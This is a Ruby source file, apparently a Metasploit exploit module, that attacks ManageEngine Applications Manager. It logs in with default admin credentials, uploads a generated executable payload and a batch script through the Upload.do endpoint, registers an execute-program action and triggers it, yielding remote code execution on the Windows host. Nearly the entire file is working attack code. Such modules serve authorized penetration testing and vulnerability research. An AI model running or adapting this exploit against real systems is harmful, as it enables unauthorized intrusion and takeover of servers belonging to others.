314 lines
11 KiB
Ruby
314 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'ManageEngine Applications Manager Authenticated Code Execution',
|
|
'Description' => %q{
|
|
This module logs into the Manage Engine Applications Manager to upload a
|
|
payload to the file system and a batch script that executes the payload. },
|
|
'Author' => 'Jacob Giannantonio <JGiannan[at]gmail.com>',
|
|
'Platform' => 'win',
|
|
'DisclosureDate' => 'Apr 08 2011',
|
|
'References' =>
|
|
[
|
|
[ 'EDB', '17152' ],
|
|
],
|
|
'Targets' =>
|
|
[
|
|
['Automatic',{}],
|
|
],
|
|
'DefaultTarget' => 0
|
|
)
|
|
|
|
register_options(
|
|
[ Opt::RPORT(9090),
|
|
OptString.new('URI', [false, "URI for Applications Manager", '/']),
|
|
OptString.new('USER', [false, "username", 'admin']),
|
|
OptString.new('PASS', [false, "password", 'admin']),
|
|
])
|
|
end
|
|
def target_url
|
|
uri = normalize_uri(datastore['URI'])
|
|
"http://#{rhost}:#{rport}#{uri}"
|
|
end
|
|
def exploit
|
|
# Make initial request to get assigned a session token
|
|
cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
|
|
cookie << "am_username=;am_check="
|
|
begin
|
|
print_status "#{target_url} Applications Manager - Requesting Session Token"
|
|
res = send_request_cgi({
|
|
'method'=> 'GET',
|
|
'uri' => "#{target_url}/webclient/common/jsp/home.jsp",
|
|
'cookie' => cookie.to_s
|
|
}, 20)
|
|
|
|
if !res
|
|
print_error("Request to #{target_host} failed")
|
|
return
|
|
end
|
|
|
|
if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
|
|
cookie << "; #{$1}"
|
|
print_good("Assigned #{$1}")
|
|
else
|
|
print_error("Initial request failed: http error #{res.code}")
|
|
return
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
|
|
return
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
return
|
|
end
|
|
|
|
# send cookie to index.do
|
|
begin
|
|
print_status "Sending session token to #{target_url}/index.do"
|
|
res = send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => "#{target_url}/index.do",
|
|
'cookie' => cookie
|
|
}, 20)
|
|
|
|
if !res || res.code != 200
|
|
print_error("Request to #{target_url} failed")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
|
|
print_error("Request to #{target_url}/index.do failed")
|
|
return
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
return
|
|
end
|
|
|
|
# Log in with the assigned session token
|
|
post_data = "clienttype2=html&j_username="
|
|
post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
|
|
post_data << "j_password="
|
|
post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
|
|
print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")
|
|
|
|
begin
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "#{target_url}/j_security_check",
|
|
'cookie' => cookie,
|
|
'data' => post_data.to_s
|
|
}, 20)
|
|
|
|
if !res
|
|
print_error("Request to #{target_url} Failed")
|
|
end
|
|
# Server responds with a 302 redirect when the login is successful and
|
|
# HTTP 200 for a failed login
|
|
if res and res.code == 302
|
|
print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
|
|
else
|
|
print_error("Failed to log into #{target_url}")
|
|
return
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
|
|
print_error("Request to #{target_url}/j_security_check failed")
|
|
return
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
return
|
|
end
|
|
# initial request to upload.do
|
|
# I think this is required to upload content later on.
|
|
begin
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "#{target_url}/Upload.do",
|
|
'cookie'=> cookie,
|
|
'data' => post_data
|
|
}, 20)
|
|
|
|
if !res
|
|
print_error("HTTP request to #{target_url} Failed")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
|
|
print_error("Request to #{target_url}/Upload.do Failed")
|
|
return
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
return
|
|
end
|
|
|
|
# Transfer the payload executable via POST request to Upload.do
|
|
boundary = rand_text_numeric(11)
|
|
payload_file = "#{rand_text_alphanumeric(20)}.exe"
|
|
lines = "-----------------------------#{boundary}"
|
|
content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
|
|
content_disposition << "filename=\"#{payload_file}\"\r\n"
|
|
post_data = lines + "\r\n" + content_disposition.to_s
|
|
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
|
|
post_data << "#{generate_payload_exe}\r\n\r\n"
|
|
post_data << lines + "\r\nContent-Disposition: form-data; "
|
|
post_data << "name=\"uploadDir\"\r\n\r\n"
|
|
post_data << ".\/\r\n#{lines}--\r\n"
|
|
|
|
begin
|
|
referer = "http://#{target_url}/Upload.do"
|
|
res = send_request_raw({
|
|
'method' => 'POST',
|
|
'uri' => "#{target_url}/Upload.do",
|
|
'headers' => { 'Referer' => referer,
|
|
'cookie' => "#{cookie}\r\nContent-Type: " +
|
|
"multipart/form-data; " +
|
|
"boundary=---------------------------#{boundary}",
|
|
'Content-Length' => post_data.length},
|
|
'data' => post_data
|
|
}, 20)
|
|
|
|
if !res
|
|
print_error("Request to #{target_url} failed")
|
|
end
|
|
|
|
if res and res.code == 200
|
|
print_good("Uploaded payload #{payload_file}")
|
|
else
|
|
print_error("Response HTTP #{res.code} and HTTP 302 expected")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
print_error("Request to #{target_url}/Upload.do failed")
|
|
return
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
return
|
|
end
|
|
# Transfer the batch sript via POST request to Upload.do
|
|
# The server will eventually call the batch script, which will call the payload.exe
|
|
boundary = rand_text_numeric(11)
|
|
bat_file = "#{rand_text_alphanumeric(20)}.bat"
|
|
lines = "-----------------------------#{boundary}"
|
|
content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "
|
|
content_disposition << "filename=\"#{bat_file}\"\r\n"
|
|
post_data = lines + "\r\n" + content_disposition.to_s
|
|
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
|
|
post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"
|
|
post_data << "g\\#{payload_file}\"\r\n\r\n"
|
|
post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""
|
|
post_data << "\r\n\r\n"
|
|
post_data << ".\/\r\n#{lines}--\r\n"
|
|
|
|
begin
|
|
referer = "#{target_url}/Upload.do"
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "#{target_url}/Upload.do",
|
|
'headers' => { 'Referer' => referer,
|
|
'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +
|
|
"boundary=---------------------------#{boundary}",
|
|
'Content-Length' => post_data.length},
|
|
'data' => post_data
|
|
}, 20)
|
|
|
|
if !res
|
|
print_error("HTTP request to #{target_url} failed")
|
|
return
|
|
end
|
|
|
|
if res and res.code == 200
|
|
print_good("Uploaded #{bat_file} to execute #{payload_file}")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
|
|
print_error("Request to #{target_url}/Upload.do failed")
|
|
return
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
return
|
|
end
|
|
|
|
action_name = "#{rand_text_alphanumeric(20)}"
|
|
post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"
|
|
post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"
|
|
post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"
|
|
post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"
|
|
post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="
|
|
post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"
|
|
post_data << "bortafter=10&cancel=false"
|
|
|
|
# This client request is necessary because it sends a request to the server
|
|
# specifying that we are interested in executing the batch script. If
|
|
# successful, the server response body will contain an actionID that is
|
|
# used to tell the server to execute the script.
|
|
begin
|
|
referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "#{target_url}/adminAction.do",
|
|
'headers' => { 'Referer' => referer,
|
|
'cookie' => cookie,
|
|
'Content-Type' => "application/x-www-form-urlencoded",
|
|
'Content-Length' => post_data.to_s.length},
|
|
'data' => post_data.to_s
|
|
}, 20)
|
|
|
|
if !res
|
|
print_error("Request to #{target_host} failed")
|
|
end
|
|
|
|
# We are parsing the response in order to determine the correct actionID.
|
|
# My solution for doing this is to iterate through the HTTP response one
|
|
# line at a time. The correct actionID always comes up several lines
|
|
# after reading the name of the batch file 3 times. Even if other batch
|
|
# files are mixed up in the list of actions to execute, ours is always
|
|
# the next one after reading the batch file name 3 times
|
|
|
|
if res and (res.code == 302 || res.code == 200)
|
|
action_id = 0
|
|
x = 0
|
|
res.body.each_line do |k|
|
|
k.strip!
|
|
if((k =~ /&actionID=(\d{8})/) && (x == 3))
|
|
action_id = $1
|
|
break;
|
|
elsif((k =~ /#{bat_file}/) && (x < 3))
|
|
x+=1
|
|
end
|
|
end
|
|
else
|
|
print_error("HTTP error #{res.code} and HTTP 302 expected")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
print_error("HTTP request to #{target_url}/adminAction.do ")
|
|
return
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
return
|
|
end
|
|
|
|
begin
|
|
referer = "#{target_url}/common/executeScript.do?"
|
|
referer << "method=testAction&actionID=#{action_id}&haid=null"
|
|
print_good("Requesting to execute batch file with actionID #{action_id}")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => "#{target_url}/common/executeScript.do?method=testAction&" +
|
|
"actionID=#{action_id}&haid=null",
|
|
'headers' => { 'Referer' => referer,
|
|
'cookie' => "executeProgramActionTable_sortcol=1; " +
|
|
"executeProgramActionTable_sortdir=down; " +
|
|
"#{cookie}; executeProgramActionTable_" +
|
|
"sortdir=down; executeProgramActionTable_sortcol=1",
|
|
'Content-Type' => "application/x-www-form-urlencoded"}
|
|
}, 20)
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
print_error("Request to execute the actionID failed")
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
end
|
|
end
|
|
end
|